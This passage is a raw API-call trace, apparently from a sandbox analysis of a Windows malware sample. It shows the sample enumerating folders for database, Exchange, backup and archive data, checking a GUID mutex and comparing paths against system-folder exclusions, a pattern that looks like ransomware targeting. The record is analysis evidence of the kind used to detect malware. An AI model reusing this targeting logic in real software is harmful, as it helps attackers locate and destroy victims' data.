nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x522d20 [0040.842] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.842] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0040.842] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0040.842] GetLastError () returned 0x12 [0040.842] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0040.842] GlobalLock (hMem=0x440004) returned 0x520100 [0040.842] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.842] GlobalUnlock (hMem=0x440004) returned 0 [0040.842] GlobalLock (hMem=0x440004) returned 0x520100 [0040.842] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.842] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.842] GlobalUnlock (hMem=0x440004) returned 0 [0040.842] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.842] GlobalUnlock (hMem=0x44000c) returned 0 [0040.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c18, cbMultiByte=3, lpWideCharStr=0x18e798, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\\x18\x18?癹") returned 3 [0040.842] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x522d20 [0040.843] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f788 | out: lpLocalFileTime=0x18f788) returned 1 [0040.843] FileTimeToDosDateTime (in: lpFileTime=0x18f788, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0040.843] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.843] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.843] GlobalUnlock (hMem=0x44000c) returned 0 [0040.843] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.843] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.843] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.843] GlobalUnlock (hMem=0x44000c) returned 0 [0040.843] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.843] GlobalUnlock (hMem=0x440004) returned 0 [0040.843] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.843] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.890] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f784 | out: lpLocalFileTime=0x18f784) returned 1 [0040.890] FileTimeToDosDateTime (in: lpFileTime=0x18f784, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0040.890] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.890] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.890] GlobalUnlock (hMem=0x440004) returned 0 [0040.890] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.890] GlobalLock (hMem=0x44000c) returned 0x550178 [0040.890] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.890] GlobalUnlock (hMem=0x440004) returned 0 [0040.890] GlobalHandle (pMem=0x550178) returned 0x44000c [0040.891] GlobalUnlock (hMem=0x44000c) returned 0 [0040.891] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.891] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0040.891] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f784 | out: lpLocalFileTime=0x18f784) returned 1 [0040.891] FileTimeToDosDateTime (in: lpFileTime=0x18f784, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0040.891] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.891] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.891] GlobalUnlock (hMem=0x44000c) returned 0 [0040.891] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.891] GlobalLock (hMem=0x440004) returned 0x550178 [0040.891] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.891] GlobalUnlock (hMem=0x44000c) returned 0 [0040.891] GlobalHandle (pMem=0x550178) returned 0x440004 [0040.891] GlobalUnlock (hMem=0x440004) returned 0 [0040.891] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.891] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.891] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.891] GlobalUnlock (hMem=0x440004) returned 0 [0040.891] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.891] GlobalLock (hMem=0x44000c) returned 0x550178 [0040.891] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.891] GlobalUnlock (hMem=0x440004) returned 0 [0040.891] GlobalHandle (pMem=0x550178) returned 0x44000c [0040.891] GlobalUnlock (hMem=0x44000c) returned 0 [0040.891] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.891] SysReAllocStringLen (in: pbstr=0x18f784*=0x0, psz="C:\\PerfLogs\\Admin", len=0x11 | out: pbstr=0x18f784*="C:\\PerfLogs\\Admin") returned 1 [0040.892] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.892] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.892] GlobalUnlock (hMem=0x44000c) returned 0 [0040.892] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.892] GlobalLock (hMem=0x440004) returned 0x550178 [0040.892] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.892] GlobalUnlock (hMem=0x44000c) returned 0 [0040.892] GlobalHandle (pMem=0x550178) returned 0x440004 [0040.892] GlobalUnlock (hMem=0x440004) returned 0 [0040.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\暼癀翀R\x18޾畯翀R") returned 26 [0040.892] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Microsoft\\Exchange Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@佴R佈R企@\x18㷴Q\x18\x1b")) returned 0xffffffff [0040.892] GetLastError () returned 0x3 [0040.892] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0040.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\暼癀翀R\x18޾畯翀R") returned 21 [0040.893] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Microsoft SQL Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@伤R企@\x18㸼Q\x181")) returned 0xffffffff [0040.893] GetLastError () returned 0x2 [0040.893] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0040.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\暼癀翀R\x18޾畯翀R") returned 9 [0040.893] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Firebird", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@倜R企@\x18?T\x18;")) returned 0xffffffff [0040.893] GetLastError () returned 0x2 [0040.893] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0040.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\暼癀翀R\x18޾畯翀R") returned 8 [0040.894] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\MSSQL.1", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@㷴Q企@\x18?T\x18D")) returned 0xffffffff [0040.894] GetLastError () returned 0x2 [0040.894] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0040.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0040.894] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@㸼Q企@\x18伤R\x18j")) returned 0xffffffff [0040.894] GetLastError () returned 0x2 [0040.895] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0040.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0040.895] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Adobe", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@丬R企@\x18?T\x18q")) returned 0xffffffff [0040.895] GetLastError () returned 0x2 [0040.895] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="adobe\\传Rð") returned 6 [0040.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0040.895] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Oracle", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@㷴Q企@\x18?T\x18y")) returned 0xffffffff [0040.896] GetLastError () returned 0x2 [0040.896] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0040.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0040.896] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Archive", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@㺄Q企@\x18?T\x18\x81")) returned 0xffffffff [0040.896] GetLastError () returned 0x2 [0040.896] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0040.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0040.896] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Backup", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@㷴Q企@\x18?T\x18\x88")) returned 0xffffffff [0040.897] GetLastError () returned 0x2 [0040.897] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0040.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0040.897] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Reserv", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@㺄Q企@\x18?T\x18\x8f")) returned 0xffffffff [0040.897] GetLastError () returned 0x2 [0040.897] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0040.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0040.898] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\Restore", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="권Q䱠@㷴Q企@\x18?T\x18\x97")) returned 0xffffffff [0040.898] GetLastError () returned 0x2 [0040.898] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0040.898] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.898] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.898] GlobalUnlock (hMem=0x440004) returned 0 [0040.898] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.898] GlobalLock (hMem=0x44000c) returned 0x550178 [0040.898] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.898] GlobalUnlock (hMem=0x440004) returned 0 [0040.898] GlobalHandle (pMem=0x550178) returned 0x44000c [0040.898] GlobalUnlock (hMem=0x44000c) returned 0 [0040.898] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.898] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0040.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0040.898] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.899] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0040.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0040.899] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.899] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0040.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0040.899] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.899] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0040.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=11, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0040.900] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.900] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.900] GlobalUnlock (hMem=0x44000c) returned 0 [0040.900] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.900] GlobalLock (hMem=0x440004) returned 0x550178 [0040.900] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.900] GlobalUnlock (hMem=0x44000c) returned 0 [0040.900] GlobalHandle (pMem=0x550178) returned 0x440004 [0040.900] GlobalUnlock (hMem=0x440004) returned 0 [0040.901] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0040.901] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=11, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0040.901] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 